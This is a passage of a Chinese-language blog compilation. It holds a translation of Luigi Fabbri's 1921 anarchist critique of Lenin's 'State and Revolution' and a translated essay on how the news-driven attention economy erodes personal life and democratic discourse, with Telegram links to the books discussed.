他的统治不是作为世界新意义的先知，而是作为反对阻碍个人意识的叛逆者。他对当地居民的意愿表示轻蔑和拒绝，仅专注于自己的想法，并表现出连他的仰慕者都会感到的蔑视和拒绝。

在不平等的大滑坡下沦为新奴隶阶级的人们由于收入和就业的不安全感而感到沮丧，他们意识到在前几代人中就不存在这种危险，感到被骗了，但无法指出如何被骗的或应该由谁来负责。摆在人们面前的只是不同的叙事。

您可能会出生在大革命前的法国而无需意识到狄德罗和百科全书派。时间和地点会影响我们的个人意识或选择。但是，所需的是所有人都可以使用的空间，称为“大环境”或“客观现实”，这是一个毫无争议的平台，所有人都可以在其中受到影响并意识到这一点。

而如今，这个空间不再以一种不受挑战的方式存在。网络空间中一片混乱的声音，这是另一种现实；一个任性的霸主声音为所有人解决各自的现实和真理。

无论人们在争辩性叙事的战场上有多激烈，也只能在各自索居的现实气泡中壮大成长，这些“了解方式”不是人们最初的创造，而是文化上的衍生。

上图中那本书在这里下载：https://t.me/iyouport/6779

当提供某个含义的叙事被提供不同含义的其他叙事无休止地对抗时，你也许可以通过改变叙事所占据的分量来重新获得理性和理智。但 Umwelt 呢？是否能够重新唤回共享空间，取决于有多少人能认识到这一点。希望这本书能带来一些帮助。〇

原文

"国家与革命" - iyouport

社会反抗和思考

这篇文章最初发表于1921年。

这是意大利无政府主义者，作家和教育家路易吉·法布里 *(Luigi Fabbri)* 对列宁的《国家与革命》的评论，最初发表在意大利无政府主义报纸《新人类》（*Umanità Nova*）上（***1921***年***1***月***26***日）。虽然之前在佐伊·贝克的帮助下从西班牙文版本翻译成了英语，但现在已经找到了意大利文原版（下载链接在这里），*João Black* 对翻译进行了相应的修改。

- 如果您错过了《没有”革命的政府”这种东西：为什么你不能用国家废除阶级》

最近 “前进 (Avanti!)” 出版了一本列宁写于革命之后的书，其主题承诺将详尽地处理革命与国家之间的关系问题。但我们必须说，我们感到了强烈的失望。

Thanks for reading iyouport! Subscribe for free to receive new posts and support my work.

Suscribirse

列宁的个性将以炙热的文字镌刻在历史上。自从他和他的政党在一个拥有三亿居民的国家掌权以来，仅这三年就足以证明此人的精神和物质能量，他有朝一日将与最著名的历史人物并列。

但是，在我们看来，其支持者迄今为止都在抬高他们的主子方面所犯下的严重错误在于，他们把列宁说成是 “伟大的社会主义理论家”。除非是暗指以前只用俄文出版、尚未翻译成意大利文或法文的作品，否则到现在为止[用意大利文或法文]出版的所有作品都表明，列宁只是一个强有力的论战者，他知道如何处理马克思主义的文本，使这些文本为他服务；他是一个不吝惜言辞的作家，在论证和谩骂方面同样熟练，但是，他并没有自己的思想，没有一个辉煌的整体视野，并且没

有那种总是能使马克思、马志尼和巴枯宁的著作栩栩如生内心之火。此外，他的历史和社会学文化（至少在我们迄今所读到的内容中）似乎是广阔而深刻的，当然，但仅限于与马克思主义有关的领域。其他的一切对他来说似乎都不存在。

有些人想把列宁看作是马克思的继承人，这是一个多么大的错误啊！在马克思身上，他只有不那么令人愉快的一面，凶猛的排他主义，对任何与他想法不同的人的怨恨，语言的粗暴，用讽刺和挖苦来战胜对手的倾向，对所有反对意见的不容忍。作为一个行动者，或者说作为行动者的指导者和领导者，列宁无疑是社会主义历史上无与伦比的人物；马克思本人也不能与他相比，因为马克思是一个思想多于行动的人。但作为一个理论家，列宁对马克思绝对没有任何贡献，他只是马克思的文本的注释者、评论者、解释者—— 尤其是，一个诡辩家[stiracchiatore]。

读过他最新出版的关于“国家与革命”的书，我们更加坚定了这一信念，该书承诺解决我们最感兴趣的问题：即 国家能否真正成为革命的工具，或者说国家是否是革命发展的障碍、阻碍和持续的陷阱，需要不断地与之斗争，试图用不断的、热烈的反对来摧毁国家或削弱其力量。

相反，我们在这本书中发现的只是一篇供社会主义政党内部使用的小论文。列宁是在证明，或者说试图证明，专政制度与马克思主义学说是一致的，别无其他。他似乎根本不怀疑一个人可以成为社会主义者而不是马克思主义者，也不怀疑在不削弱革命的情况下是否能把它调整到一个教条主义和单边主义学派的普罗克鲁斯忒斯之床上。

即使从马克思主义的角度来看，列宁的证明也没有任何说服力。尽管[马克思]的某些表达方式更多的是用来加强他自己的思想的阐述，而不是表达其字面意思，但卡尔马克思为革命设想的是一个工人民主的过程，而不是一个独裁的过程。也就是说，他希望有一个民主的社会主义政府，它将使用铁拳，当然，反对资产阶级，但把那些通常被称为民主的自由（投票、新闻、集会、结社、地方自治等）留给无产阶级和各种社会主义力量和潮流，因为他们是基于代表制的多数。

我们无政府主义者也反对这种制度，我们甚至不承认多数人有压迫少数人的权利，而且我们认为代议制所承诺的自由是虚幻的、不完整的。在这个意义上，我们是反民主的。但出于同样的原因，我们以更大的敌意反对独裁，因为独裁甚至会剥夺我们获得代议制的那种残缺和虚幻的自由，它将使少数人，实际上是极个别的人，有权压迫、用武力治理多数人。既然我们不希望多数人压迫少数人，也就应该更不

希望后者压迫前者。

但是，即使无产阶级专政的制度实际上符合马克思主义的 “圣典”，仍然有必要证明这种僵化的国家主义方向是“最合适的”—— 作为宣传 —— 使革命更加接近，在实际执行中，发展革命，使无产阶级从被经济和政治的奴役中解放出来，从被国家和财产的奴役中解放出来。我们在列宁的最新著作 “国家与革命” 中徒劳地寻找这种示范。

列宁的书首先是与社民派和改革派进行论战。这就是为什么我们说它是一部供社会主义政党内部使用的作品。书中引用了大量马克思和恩格斯的言论 —— 实际上，恩格斯的言论比马克思的言论更多 —— 以至于如果去掉许多页的引文，整本书将沦为一本相当小的小册子。

当然，我们不能不赞同该书的第一部分，它强调了资产阶级和民主的虚伪性，根据这些虚伪性，国家将是所有公民利益的代表，而实际上国家是统治阶级剥削被压迫阶层的武器。但是，列宁又陷入了马克思主义（或者说是恩格斯主义）的错误，根据这个错误，无产阶级通过夺取国家权力并将生产资料转化为国家财产，设法使国家本身消失。如果国家也成为了财产所有者，我们就只会得到国家资本主义，而不是社会主义，更不会有什么国家的废除或无政府状态！。

废除一个有机体的方式被认为是增加它的功能，并赋予它新的权力手段，这是如此的奇特！

在这种情况下，所有无产者将成为国家的打工者，而不是私人资本家的打工者。国家将成为剥削者；也就是说，高低级统治者的无限组合，以及所有等级的官僚机构，将构成新的统治和剥削阶级。看来，类似的东西正在俄罗斯形成，至少在大城市和大工业领域是这样。

就国家而言，这是一个严重的马克思主义错误：把它看作是阶级划分的简单结果，同时也是造成它的原因。国家不仅是资本主义的仆人，加强了资产阶级的经济特权，等等，并且国家本身就是特权的来源，它构成了一个阶级或种姓的特权者，它通过总是向统治阶级提供新的元素来养活它；更何况，除了政治实力之外，它还拥有经济实力，即所有社会财富，作为唯一的所有者。

列宁说，专政将是 “把无产阶级组织成统治阶级”。但这是一个完全矛盾的说法! 如果无产阶级已经成为统治阶级，它就不再是无产阶级，不再是无财产。这意味着它已经成为了老板。此外，只要有一个统治阶级，那就意味着有被统治的阶级；也就是说，必需有保持或成为无产阶级的阶级。阶级划分将继续存在。而对这个谜题的唯一解释是，

统治阶级将由无产阶级的少数人构成，他们将剥夺目前的资产阶级少数人的权利，并在政治上统治和经济上剥削所有其余的人，即 被剥夺权利的旧阶级和大多数无产者，他们将保持这种状态，并将继续处于受支配的地位。

如果这个可怕的错误成真，人类将再次白白被鲜血染红。它只是在痛苦和不公正的床上从一边转向了另一边！

米哈伊尔·巴枯宁在四十五年前就预言了应用马克思主义的这些后果：大城市较先进的工人和工业集团的政府，损害了农村、小城镇、非技术行业的大多数工人的利益，等等。

列宁在马克思和恩格斯的护送下，以1848年和1871年的法国革命为例进行呼吁。但是，正是从这些革命的经验中，无政府主义作为一种自由意志主义的革命概念诞生了，因为所有仔细看过这两次革命的革命理论家都注意到了国家主义或独裁主义路线对革命的损害。在这方面，马克思本人被[列宁]错误地引用了，因为在写巴黎公社时，他根本没有赞扬中央集权主义（如列宁所说），相反，他赞扬的恰恰是公社自治制度。

列宁经常说要摧毁国家机制；但他要摧毁资产阶级的国家机制，以共产党的另一个同样官僚政治和繁琐笨重的国家机制来取代它。在这种变化中，只有那些构成新国家、新官僚机构的人员才会受益。在这方面，我想到了一个古老的寓言故事：一匹满身苍蝇的受伤的马，拒绝了那些想把苍蝇赶走的人的帮助，马说，“我身上这些苍蝇已经吃饱了，而如果没有他们，其他苍蝇会更加饥饿和贪婪地飞来。”

列宁的这种中央集权主义偏见就算在他提到无政府主义者时也暴露无遗，“因为他们不想要管理”。我们不知道是谁告诉列宁的，无政府主义者不想要行政管理。但他的错误在于，他认为没有官僚集权、没有权力，也就是没有国家的行政是不可能的；既然无政府主义者不想要权力、国家和官僚集权，他就认为我们不想要行政。但这是一种幻想[fisima]。在现实中，最好的行政管理，就像最好的组织，真正配得上这个名字的组织，必需是最不集权和最不专制的。

当列宁引用恩格斯的话说，他想实现“消灭国家的目的”时，他是在陈述一种并没有实际效果的虔诚的意图，因为他选择的方式反而导致了国家机构的加强 —— 它只是在形成过程中从一个阶级的统治转移到另一个阶级的统治。

在一份无政府主义报纸上，我们不能忽视列宁在这本书中关于无政府

主义者和无政府主义的说法。

我们在上面提到了其中的一些内容。但我们不能掩盖列宁为公平对待无政府主义者所做的努力，也许是因为他从经验中知道他们的合作会有什么样的价值。他并不总是能做到这一点，例如，他说“无政府主义者在关于需要摧毁国家机制和取代国家的方式的具体问题上没有做出任何贡献”。所有的无政府主义文献都是对此的批驳证据。

但是列宁在大约三十年后为无政府主义者伸张了一点点正义，即承认普列汉诺夫的诽谤，《无政府主义和社会主义》连同德维尔的一本愚蠢的小册子，构成了关于这个问题的唯一社会主义处理方式，是非常糟糕的。

据列宁说，格奥尔基·瓦连京诺维奇·普列汉诺夫 (Georgi Plekhanov) 在谈到这个问题时，“回避了最现实和最重要的问题，即革命对国家的态度”。在普列汉诺夫的小册子中，除了相当多地提供了关于施蒂纳、蒲鲁东等人的思想材料的历史文学部分外（还是按照列宁的说法），还有另一部分是“小资的和庸俗的考虑，旨在证明无政府主义者与土匪难以区分”。列宁把这种对待无政府主义者的方式归结为普列汉诺夫的机会主义政策，他在政治上想“在资产阶级的引带上行走”。

不用说，普列汉诺夫的粗俗和小人之心的诽谤就在这几天被同一个布尔什维克和列宁主义的“前进报 (Avanti!)” 重印了，谁知道为什么呢。

但是，如果列宁真的能认识到，像普列汉诺夫那样的社会民主党人对无政府主义的通常批判是诉诸于小资产阶级的琐事，那么他的论据也就不那么确凿了，因为他针对的也是他自己特别编造的、在现实中并不存在的无政府主义。他重复了恩格斯对蒲鲁东主义者的批评，把能够在一夜之间废除国家的幻想归咎于无政府主义者，而不知道无产阶级应该用什么来取代它，等等。

但是要说明列宁是如何完全不了解无政府主义者究竟想要什么以及他们打算如何行动的，我们就必须至少写出与我们迄今已经完成的一样多的东西。如果有时间的话，我们会在下一次写。〇

Thanks for reading iyouport! Subscribe for free to receive new posts and support my work.

Suscribirse

原文

"新闻"如何取代了现实生活、威胁了民主？ - iYouPort

关于真实的“媒体”-真相衰变社会反抗和思考

你真的需要那么多的新闻吗？那些所谓的头条新闻、快讯、爆炸性消息、热点……对你的生活有任何改变吗？

参与时事是否是成为好公民的标准？或者，无数的快讯反而会损害民主以及我们的福祉吗？

这取决于那些《该死的快讯》是如何得来的。

「图」

「图」

2015年11月13日，星期五，午后的曼哈顿空气很冷，却也让“老城酒吧”（Old Town Bar）显得比往常更加温馨惬意。

“老城酒吧”是这座城市最古老的的饮酒地之一。

“这里朴实、温暖、滋润—— 我很喜欢这个地方。” 亚当·格林菲尔德（Adam Greenfield）那天正和朋友们在酒吧木吧台喝啤酒吃薯条，他告诉我说，“这里是一个会让你随着时间的推移，逐渐喜欢上的地方。”

格林菲尔德是位城市设计专家，在关于舒适酒吧的吸引力等问题上，他会比大多数人更有思考。

但所有去过“老城酒吧”、或是忙碌城市中任何一家温馨酒馆的人，都和格林菲尔德及其朋友有着同样的感觉：（整个人在这里得到了）休整、充实、复原。

“然后，我们的手机开始震动……”。

本文中提到的两本书，您可以在在这里下载：

1、《Overdoing Democracy: Why We Must Put Politics in Its Place》https://t.me/iyouport/6653

2、《Radical Technologies: The Design of Everyday Life》https://t.me/iyouport/6655

「图」

「图」

恐怖分子在巴黎发动了一系列有组织的枪击和自杀式炸弹袭击，导致130人死亡，其中包括90位在巴塔克兰剧院（Bataclan theatre）参加音乐会的民众。

格林菲尔德回忆说，他正在纽约喝着酒，伸手拿手机时，周围其他人也同时拿起了手机，“你能感觉到房间里的气氛立马降下来了。”

整个酒吧里满都是各大媒体新闻推送的叮咚声，此起彼伏，还有Facebook 安全检查的通知声音。

安全检查（Safety Check）是Facebook一项新功能，利用定位来识别巴黎袭击事件地点附近的用户，并邀请他们告知朋友“自己很安全”。

就在一瞬间，老城酒吧的四面墙像是漏了一样—— “酒吧变得像个筛子，外界的高压介质从每一个孔里同时喷涌而入”。

格林菲尔德曾是诺基亚的设计师，这已经不是他第一次心怀愧疚 —— 担心手机会成为现代人生活之悲剧的加料剂。

但是，酒吧里的温馨感与从巴黎传来的惊人新闻，形成了一种强烈的反差，就更突显出这种空间、这种温馨的不堪一击。

突然间，几乎整个酒吧的注意力都转移到了这个消息上。在场的人不管是否有朋友和家人在巴黎，或者他们是否有能力提供帮助 —— 所有人都被吸引住了。

新闻强行闯入了现实，取代了酒吧瞬间之前的温馨惬意，宣称自己才是现实生活中真正重要的部分。

我们很少注意到这种新闻干扰有多么的荒诞，那是因为对于今天的许多人来说，这种情况再正常不过了。

我们沉浸在各种新闻消息里。我们可能早上在和另一个人交谈之前就已经对新闻标题滚瓜烂熟了；坐公交车或在排队时会刷推特来消磨时间，结果却发现自己陷入了总统政治或人道主义危机的戏剧性事件之中……

据估计，70%的人晚上会拿着新闻传送设备（手机、IPAD等）进入睡眠。

「图」

「图」

近年来，人们对使用互联网设备的时间，以及长时间使用联网设备对我们大脑产生的影响，都极为关注，但却很大程度上忽略了心理层面的转变：

> 对很多人而言，新闻消息占据了我们越来越多的时间，更准确地说，占据了主观现实感的核心位置。

所以，与平常人遥不可及的国家政治和国际危机，像是比眼前看得见摸得着的家庭、邻里和工作关系来得更加重要、更为真实。

这不仅仅是因为我们花了太多时间盯着屏幕，更有，对我们中的一些人来说，新闻改变了我们的生活方式，它不再是我们生活舞台的一个背景，而是，成为了主要剧情。

以往只有记者和电视制片人才会被新闻所包围，现在这已变成了数百万普通人的生活常态。

从英国或美国的角度来看，引起这种心理状态变化的主导因素是英国脱欧和特朗普（Donald Trump）当选。

近来出现了一种奇怪的现象，即 任何一件新闻作品都在人们日常生活中占据了如此重要的地位，但是，这两个重磅新闻的横空出世则使我们忽略了这种现象的诡异之处。

《纽约时报》专栏作家 Nicholas Kristof 引用了一句现今人们熟知的老调，哀叹自己的社交圈“迷于特朗普”，他说到，“这些天在鸡尾酒会上、有线电视上、餐桌上、饮水机边，我们谈论的都是特朗普”……

但人们对特朗普津津乐道并不仅仅是因为他上位的消息盖过了其他新闻，更重要的是，⚠新闻本身的戏剧性使人们身处的现实生活“无人

问津”。

「图」

「图」

人们很容易认为，只是由于现在的新闻太疯狂了，所以大家才会花这么多时间去看。

不过的确，现在的新闻消息大多都很疯狂。但别忘了，新闻并不是无处不在的：基本可以肯定的是，从最早出现新闻这种东西开始直到几十年前，新闻一直都是在别处发生的事，你只会短暂涉足到那个世界，然后又回归到自己的现实中来。

几个世纪以来，新闻信息只为少数精英群体所专享；即使在大众传媒时代，一个受过高等教育的人每天花在新闻上的时间也很少超过一小时。

而如今，人们之所以会经历这种深刻转变，不仅仅是因为现在大家无论何时都能接触到新闻（CNN早在1980年就率先将新闻大众化了），更多的原因在于，社交媒体极具互动性，这给了人们积极参与其中的新感受。

比方说，如果你对英国脱欧感到愤怒，那么你可能时时刻刻都会被愤怒环绕，因为你会不断听到为此而愤怒的最新声音，不断会出现让你发泄的机会和渠道，这就是所谓的个性化feeds。而这些在十年前都还是无法想象的。

在 Facebook 上吐槽发帖，或参与线上投票，会让人觉得自己在做一件能扭转结局的事 —然而事实上，实际的干预力可能微乎其微。《在社交媒体上”抗议”有什么问题？》

这种“发挥自身作用”的意识在很大程度上可能是种幻觉，这种幻觉会让我们沉迷其中无法自拔，从而有利于社交媒体平台。《引流暴政》

但不可否认，这一作用力也是存在的，甚至那些从不发表评论或帖子的人，也会受其影响。

新闻内容持续更新，评论、笑点和解析不断推送过来，你可以根据自己的兴趣点开任何网页，这本身就像是一种参与新闻的方式，完全不像被动接受的 CNN或BBC里全天候不断重复的头条新闻。

然而，你或许已经注意到，人与新闻之间的这种关系转变并不能给我们带来更大的幸福感或成就感。

你的思想始终有一部分处于新闻世界里，暴露在整个世界的谎言和痛苦中，你会不断发出抱怨，即使是你个人无法改变的重大事件。

这感觉就像格林菲尔德在其著作《激进的技术：日常生活的设计》（*Radical Technologies: The Design of Everyday Life*）中所说的⚠“低级恐慌和失控感”—— 因太过常态化以至成为习惯 —— 虚无主义的由来。

当然，不是每个人每天都有闲情花几个小时浏览社交媒体，从这个意义上说，对新闻的过度识别实际是特权阶层的问题。

但是，“时事”也在慢慢殖民我们的个人现实感，并由此产生了一种奇怪的新道德义务 —— 即一种社会规范，认为忽视新闻，或拒绝让它在自己的生活中占据主导地位，是一种不负责任的放纵，只有幸运的人才能这样做。

「图」

「图」

根据启蒙运动时期的一个原则，有责任感的民主社会公民需要不断了解国家以及外部世界所发生的事，特别是在独裁主义日益抬头的阶段，这种责任意识更是极其重要。

在今天，这一原则通常意味着人们有不回避新闻的责任。

而本能地忽视新闻则被视为特权的象征，以及对新闻这种奢侈事物的漠视。

⚠如果你没像其他人那样义愤填膺，那你就是被边缘化了。

去帮助、甚至仅仅是声援新闻事件里受直接影响的当事人（比如，面临特朗普政府残酷政策的非法移民），变得越来越理所当然，从道德上讲，沉浸于新闻本身是“义不容辞”的。

但是，越来越明显的是，这种态度除了影响我们的个人幸福外，还存在一个问题。

有理由相信，一个社会中有如此之多的人全身心投入戏剧性的新闻，

这远非理想民主的表现——⚠ 相反，这种个人在新闻中的参与深度表明我们的公共生活已经受损。《最完美的绑架》

「图」

「图」

由此产生了一种无论是新闻迷、坚定的政治活动家、还是记者，都无法理解的东西：为了让我们的头脑重回清醒，让整个世界复原，我们或许应该想办法让新闻回归原位。《忘记假新闻吧，根本性问题在于真新闻本身》

我们很多人都还记得，新闻曾是日常生活中令人愉快的消遣，是办公桌前拖延症患者逃避现实的首选方式。

五年前，散文家阿兰·德波顿（Alain de Botton）写了一本名为《新闻：用户手册》（*the News: a User's Manual*）的书，即便在当时，他也还可以认为新闻的某种魅力在于，它可以成为我们日常烦恼的避风港。

德波顿写道，查阅新闻是为了看到“比我们自身所遇到的事情更严峻、更难以承受的问题，并让这种更深的担忧淹没我们以自我为中心的忧虑和怀疑。

饥荒、城镇遭遇洪灾、连环杀手逍遥法外、政府下台……这些外在的动荡正是我们重回内心平静所需要的东西”。

但是，事情变化的速度之快令人瞠目。

今天，⚠新闻已经无法实现人们内心的平静。它越来越不是逃避现实的良药，反而变成了人们渴望逃避的东西。《现代新闻之愚蠢 (2)—四种最致命的倾向性 中国人更可怜》

「图」

「图」

这种感觉是一种长期的历史性转变，代表了一个新的和尖锐的时期的出现：我们过去生活在一个信息匮乏的世界里，但现在，实则信息无限，而稀缺的只是注意力。

历史学家安德鲁·佩提格里（Andrew Pettegree）说，第一批靠提供新

闻赚大钱的人是**16**世纪一群人脉广泛的意大利人，他们把一份手写简报卖给了几位有钱客户，从而获利。

他们之所以能盈利是由于当时信息很匮乏：他们的出售的简报里的信息在其他地方很难找到。

17世纪伦敦的咖啡馆也以同样的方式运作：咖啡馆首次为老百姓提供了可以讨论政治的公共场所。花费少量入场费，顾客就可以在咖啡馆里接触到其他消息灵通人士，看到大量的小册子和新闻传单。

这种能介入有干货的政治话题的聊天机会，在当时很是难得，因此，花钱入场也很值得。

但是，随着科技的进步，新闻传播变得更加容易，越来越多的新闻供应商开始争夺读者，于是就出现了一种微妙变化：⚠读者的关注度取代了信息本身成为真正有价值的商品。《引流暴政》

从19世纪开始,，一些企业家偶然发现了一个革命性的商业模式：将报纸用低于生产成本的价格售出，附带一些耸人听闻的故事，然后再向广告商出售报纸上的空白版面（广告商可以在上面刊登广告来获得读者的注意力），由此牟取了暴利。

⚠这自然助长了新闻报纸中夸大和捏造的成分：曾经一系列文章声称那个时代最前列的天文学家约翰·赫歇尔爵士（**Sir John Herschel**）在月球上发现了一群蝙蝠翅膀的类人生物**……**《守门人作为认知杀手》

但严肃的政治报道和研究调查报道，也同样利用这种低效率模式而获得蓬勃发展：广告商需要读者，而大多数读者可能会被八卦专栏或体育报道所吸引，而编辑作为两者关系的中间人，可能会抽取部分广告费用于更高层次新闻的报道。《中国恐怖故事：鼻病毒》

正如蒂姆·吴（Tim Wu）在他的著作《注意力商人》（*The Attention Merchants*）中所解释的那样，大众媒体的整个后续历史，可以被看作一个提高效率的过程，人们可以通过这种高效性来挖掘读者们更可能多的关注。

⚠只有两种人获得了成功：一是那些发现了先机的人，如收音机入驻客厅，夺走了以往人们用在读书或聊天上的注意力；二是那些更积极强硬利用机会的人，如彩色报纸的问世。

而装有 Facebook 或 Twitter 的智能手机则代表了这一趋势的巅峰。

⚠智能手机的设计初衷是，吸取你在火车上、浴室里、床上所剩的最微小的注意力，同时监控你的每一次点击和滑动，记录你逗留或滚动的页面内容。

社交媒体平台利用由此产生的大数据确保精准投放，以尽可能吸人眼球的方式呈现出你可能会感兴趣的内容。这就是《监视资本主义》

与此同时，广告商需要付出一定的费用，来换取命中率如此高的目标受众群，从而获得更有价值的受众群体 —— 是给监视资本家的价值，不是给你的。

「图」

「图」

正如越来越多的用户所理解的那样，这种使用数据来定制算法内容的做法，使得人们为数字技术而着迷：

> 软件公司陷入了一场军备竞赛，它们竞相开发更多超高效的方法来瓜分人们有限的注意力，所以这些公司的生存和发展取决于大众对其产品的依赖程度。

但这也解释了为什么新闻占据了越来越多的公众视野。

在信息匮乏的情况下，新闻顶多只是一个独立的精神世界，人们只在间歇时间会去接触它；的确，就像一个有栅栏围起来的主题公园，或者收费的私人会员俱乐部一样，不管谁想通过收取门票来赚钱，它都需要保持独立。

⚠但是，在一个信息过剩、注意力匮乏的世界里，情况恰恰相反。

在一场为争夺注意力的军备竞赛中，每一个新闻提供者，最终到每一个新闻故事，都在与所有其他新闻提供者相互竞争，以便让自己慢慢印入消费者的脑海中。

Wu 在书中写道，这场竞赛“将自然而然地走向终点：无论用何种刺激去吸引（心理学家所称的）‘自动’注意力，⚠人们的注意力总会被更花哨、更耸人听闻、更离谱的新闻故事所吸引。”

⚠这一切意味着，随着新闻慢慢主导公众意识，开始主导新闻的将是那些极端、耸人听闻甚至虚假的故事。《守门人作为认知杀手》

在注意力经济学中，新闻的前进一路无阻—— 毕竟，它声称自己天生比电影或体育更有关注价值；新闻会给人一种虚幻的表象，认为世界上有太多重大事件正在发生。

一位精神状态不稳定的总统用手指按下核按钮的场景，肯定会吸引数以百万计的阅读点击量，“未达成协议”的英国脱欧事件终会导致战时风格的食物和药品供应中断现象 ……

但是，每一则新闻所面临的压力也愈来愈大，它们*必须*通过病毒式传播来增加自己的分量，新闻机构也愈发没有理由将（不断减少的）收入投入一部分到传播更慢、内容更严肃的报道上。这就是“"引流暴政"”。

这些新的刺激因素更有利于赛马式政治和热门的文化战争问题，再加上那些连珠炮似的好战“言论”，都旨在证实读者的现有偏见，或引发令人愤慨的争论。

「图」

「图」

⚠归根结底，由于商业的迫切需要，新闻故事甚至不需要是真实的，只要它具有最大的吸引力就足够了：

假新闻并非偏离了“加强参与感”的媒体经济，而是媒体经济一个合乎逻辑的结论。

既然新闻有这样的潜在目的，我们有必要回顾一下，花这么多时间来思考这个问题是多么奇怪。

如果说我们对新闻的兴趣有进化性起源，那是因为，对自己生活和所处部落中的本地威胁和直接威胁保持警觉，有着明显的生存优势。

文明的一项重大成就是，我们已经将自己的关注点延伸到了不会对我们个人有直接影响的新闻身上，但无论是通过投票、志愿服务还是捐赠，我们也都可能有所作为。

⚠但是，现代注意力经济利用了这两种注意力，并不是为了帮助我们时刻关注威胁，或改善他人的生活，而是，为注意力商人创造利润！

所以它不断地丢给我们新闻事件，不管那些玩意是否真的重要，不断地让我们看待世人正在经历的痛苦，不管我们是否有能力去减轻它。

这就是《白噪音》中讽刺的东西。

那种认为我们在道德上“有义务”紧随时事的信念，认为只有投入如此多的时间和感情才是了解世界现状的唯一途径，⚠开始越来越像是我们沉迷于电子设备的*借口*。

由此产生的疏离感对任何沉迷于网络新闻的人来说都不陌生。

即使我们并不总是能理解其原因。

让人难过的是，即便知道花这么多时间在网上纯属浪费，但显然，绝大多数人无法阻止自己这么做。（可以说，推特用户痛恨自己依赖网络，要比抽烟的人痛恨自己对香烟的依赖来得更强烈）

慢慢地，我们开始理解注意力是一种稀缺资源的真正含义：⚠注意力从根本上是有限的，因此当我们把注意力花在某个新闻上时，就不会再关注别的事情了 —— 身边最重要的事情，被忽略了。

香港的抗争令中国读者激动，但这其中对于你的社会和生活的直接利益是什么？ —— 是抗争的精神，是反监视的智慧，是行动主义的信念 —— 而不是刺激性的冲突画面、不是小粉红的洋相、不是某些网民的愚蠢。

你真的得到了那些直接利益吗？你和你的社会围观了那么久，其中有任何人提议协助香港的行动吗？—— 几乎所有人对“最大筹码”闭口不言。

⚠那些占主导性的新闻并不只是占用了你看别的新闻的注意力，它们还在消耗你的生命。

「图」

「图」

但如果有人不能看清这点，其原因之一是存在某种假设（这在社交媒体时代十分普遍）：即认为跟上时事，尤其是政治新闻，是一种内在的“美德”，而没能对当天发生的重大事件发表评论，就是没有尽到自己身为一个公民应有的最大“职责”。

或许你已察觉到了在社交媒体上有种可笑但明显的压力，即你要对每一件自然灾害、名人逝世、或者特朗普政府发表的政策声明，都发表“官方意见”。

这就好像我们每个人都是一个小国家的大使，任何沉默不言的人都会被认为是冷漠无情，漠不关心 ……

对于一个已成年且见多识广的公民，或是一个精明且专注发展的专业人士来说，紧随时事似乎是‘一件正确的事’。”

当与新闻打交道变成一种信仰时，脱离新闻（即便只是部分脱离）自然听起来像是异端邪说。

但是，这可能正是我们所需要的，而且不仅仅是为了我们个人的理智，⚠民主的正常运作也可能依赖于此。

田纳西州范德比尔特大学（Vanderbilt University）的政治哲学家罗伯特·塔利斯（Robert Talisse）就是这样一位顽抗的异教徒。

直到最近，他还持有一种政治哲学家们自然共有的信念：政治真的很重要，因此你花多少时间在政治上都不为过。

根据这一理论，正如他所说，“实现民主的方法是坚持不断地去做，如果我们发现民主主义存在任何麻烦或问题，总会有解决办法，即实行更多的民主。”

「图」

「图」

但是，最近，看着自己和他人对新闻越来越着迷，他却被一种相反的想法所困扰。

⚠首先，关注网络新闻到底是不是真正的民主参与，抑或仅仅是*感觉上的*民主参与，这一点存在很大争议。

但即便是真正的民主参与，谁又能说这完全是一件好事呢？

如果参与政治和保持健康一样是种美德呢？一个偶尔去健身房的人是在做对的事；如果是经常去，那她就非常棒了。

但如果她把所有空闲时间都花在了健身房，以致于对朋友和工作都缺乏关注，这就是种病态的行为。

这是因为身体健康在很大程度上是一种有助益性的美德。锻炼身体保持健康是好的，因为好身体能帮助你做其他的事，但如果你除了锻炼

身体外其他都不做，那么你就搞错了重点。

如果你做得太用力以至于伤了自己，从另一个角度来说，你还是没抓住重点：现在你连追求健康也做不到了。

我们对新闻的关注也是同样的道理。

⚠依据目前政治新闻在我们精神世界中所占的中心地位，我们可能正在丢掉政治本应起到促进作用的东西，且同时在损害民主政治本身。

要把损害看的更清，就要想想：⚠在社交媒体时代，本应展开民主辩论的“公共领域”发生了什么。

在嬉皮士先驱的蓝图中，互联网本应大幅扩展这一民主公共领域，创造一个新的全球市场，让以前缺少发言权的人能够参与决策过程，做出更好、更公平的决策，从而获得更广泛的支持。

但愈发明显的是，互联网真正在做的是：⚠侵蚀公共领域和私人领域之间的界限，让审慎对话变得越来越困难，更不用说达成共识了。

我们与新闻关系的改变似乎在使新闻本身变得更糟。

「图」

「图」

2013年，当时特朗普还是一个搞笑真人秀明星，推特还没有被用户亲切地称为“地狱网站”（hellsite），德韩文化理论家韩秉哲（Byung-Chul Han）出版了一本颇具先见之明的书，名为《群》（*In the Swarm*），书中称，数字通信逐渐使政治成为不可能。

他认为，⚠健康的政治辩论基于尊重，这就要求参与辩论者在精神上保持一定的距离：“公民社会需要以尊重的态度远离他人隐私。”

但数字连接会缩短这种距离。

⚠对新闻发表经过深思熟虑的公开评论，或是未了解全部事实就冲动地发布个人言论 —— 这两者大相径庭，但社交媒体模糊了两者的差异；它鼓励并放大了最极端的情感表达。

当新闻和每个人内心深处之间有了一条双向的直接通道时，其结果（可能事后才会明了）并不是更容易达成共识或解决问题，而是，每

一个有公众分歧的话题都会迅速演变成心理剧。

社会公共领域要想良好运转，也依赖于大众能够共享事实，然后以此作为解决人们意见和分歧的稳定基础。

但是，现在信息大量过剩，且信息本身也是根据用户数据筛选过的，⚠在这样的基础上，事实共享很快就不存在了。

与此同时，社交媒体的数据算法在不知不觉中把我们精分成越来越多的独立群体，每个群体都由越来越多相似的人组成，因此，即使你在讨论电影或体育，你也很有可能是在与那些跟你有相同政治立场的人在讨论；你参与政治越多，一切就越政治化，而且研究表明，这样你就越难把你的政治对手当做一个完整的人来看待。

⚠擅长煽动的政治家对此加以利用的时机已经成熟，他们明白，他们的力量在于把所有人的生活变成一个按政治路线划分的战场，从而最大限度地掌控公众的注意力。这就是《"景观整治"》《中国政府已攀上景观政治的边缘》。

有种看法认为，无休止地关注新闻可能是击败独裁主义、或实现任何其他值得称道的政治目标的有效方式，但现在看来，这种想法开始变得极其难以令人信服。

如果你每天花几个小时在社交媒体上朝对手大发雷霆，即便你在道德上无可指摘，你仍然是在侵蚀民主。

因此，政界人士传统观点是：当务之急是需要更多参与到新闻报道中——但这可能适得其反。

